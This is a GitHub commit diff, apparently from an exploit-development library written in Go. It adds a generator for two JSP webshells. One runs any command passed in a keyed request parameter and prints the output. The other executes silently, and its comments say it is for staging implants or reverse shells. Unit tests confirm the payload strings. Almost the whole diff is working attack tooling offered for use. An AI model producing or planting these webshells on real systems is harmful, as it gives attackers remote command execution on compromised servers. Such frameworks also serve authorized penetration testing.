File tree Expand file tree Collapse file tree 5 files changed +72
-1
lines changed Expand file tree Collapse file tree 5 files changed +72
-1
lines changed Original file line number Diff line number Diff line change
1
+ package webshell
2
+
3
+ import (
4
+ _ "embed"
5
+ "fmt"
6
+ )
7
+
8
+ var (
9
+ //go:embed jsp/webshell.jsp
10
+ GetKeyed string
11
+ //go:embed jsp/webshell_min.jsp
12
+ GetKeyedMinimal string
13
+ )
14
+
15
+ // GetKeyed generates a JSP webshell that uses key as the basic authorization for a webshell. This
16
+ // webshell will return all output information.
17
+ func (jsp * JSPWebshell ) GetKeyed (key string ) string {
18
+ return fmt .Sprintf (GetKeyed , key , key )
19
+ }
20
+
21
+ // GetKeyedMinimal generates a JSP webshell that uses key for basic GET authentication. Unlike
22
+ // GetKeyed, this payload does not return any information directly and is more useful for staging
23
+ // other implants or reverse shell payloads.
24
+ func (jsp * JSPWebshell ) GetKeyedMinimal (key string ) string {
25
+ return fmt .Sprintf (GetKeyedMinimal , key )
26
+ }
Original file line number Diff line number Diff line change
1
+ <% % @ page import ="java.io.*"%%>
2
+ < %%
3
+ if (request. getParameter(" %s" ) != null ) {
4
+ Process p = Runtime . getRuntime(). exec(request. getParameter(" %s" ));
5
+ DataInputStream dis = new DataInputStream (p. getInputStream());
6
+ for (String line = dis. readLine(); line != null ; line = dis. readLine()) {
7
+ out. println(line);
8
+ }
9
+ }
10
+ % % >
Original file line number Diff line number Diff line change
1
+ <% % Runtime . getRuntime(). exec(request. getParameter(" %s" ));% % >
Original file line number Diff line number Diff line change @@ -6,7 +6,11 @@ package webshell
6
6
type Dropper interface {}
7
7
8
8
type (
9
+ JSPWebshell struct {}
9
10
PHPWebshell struct {}
10
11
)
11
12
12
- var PHP = & PHPWebshell {}
13
+ var (
14
+ PHP = & PHPWebshell {}
15
+ JSP = & JSPWebshell {}
16
+ )
Original file line number Diff line number Diff line change @@ -19,3 +19,33 @@ func TestVerySmallHTTPGET(t *testing.T) {
19
19
t .Fatal ("PHP Minimal GET payload is in an unexpected format." )
20
20
}
21
21
}
22
+
23
+ func TestJSPWebshell (t * testing.T ) {
24
+ key := "VULNCHECKWUZHERE"
25
+ jsp := webshell .JSP .GetKeyed (key )
26
+ // Look for superfluous %s
27
+ if strings .Contains (jsp , `%%` ) {
28
+ t .Fatal ("JSP payload is in an unexpected format" )
29
+ }
30
+ if ! strings .Contains (jsp , `<%@ page import="java.io.*"%>` ) {
31
+ t .Fatal ("JSP payload is in an unexpected format" )
32
+ }
33
+ if ! strings .Contains (jsp , `(request.getParameter("VULNCHECKWUZHERE") != null)` ) {
34
+ t .Fatal ("JSP payload is in an unexpected format" )
35
+ }
36
+ if ! strings .Contains (jsp , `Process p = Runtime.getRuntime().exec(request.getParameter("VULNCHECKWUZHERE"));` ) {
37
+ t .Fatal ("JSP payload is in an unexpected format" )
38
+ }
39
+ }
40
+
41
+ func TestJSPWebshellMinimal (t * testing.T ) {
42
+ key := "hacktheplanet"
43
+ jsp := webshell .JSP .GetKeyedMinimal (key )
44
+ // Look for superfluous %s
45
+ if strings .Contains (jsp , `%%` ) {
46
+ t .Fatal ("JSP payload is in an unexpected format" )
47
+ }
48
+ if strings .Compare (jsp , `<%Runtime.getRuntime().exec(request.getParameter("hacktheplanet"));%>` ) != 0 {
49
+ t .Fatal ("JSP payload is in an unexpected format" )
50
+ }
51
+ }
You can’t perform that action at this time.
0 commit comments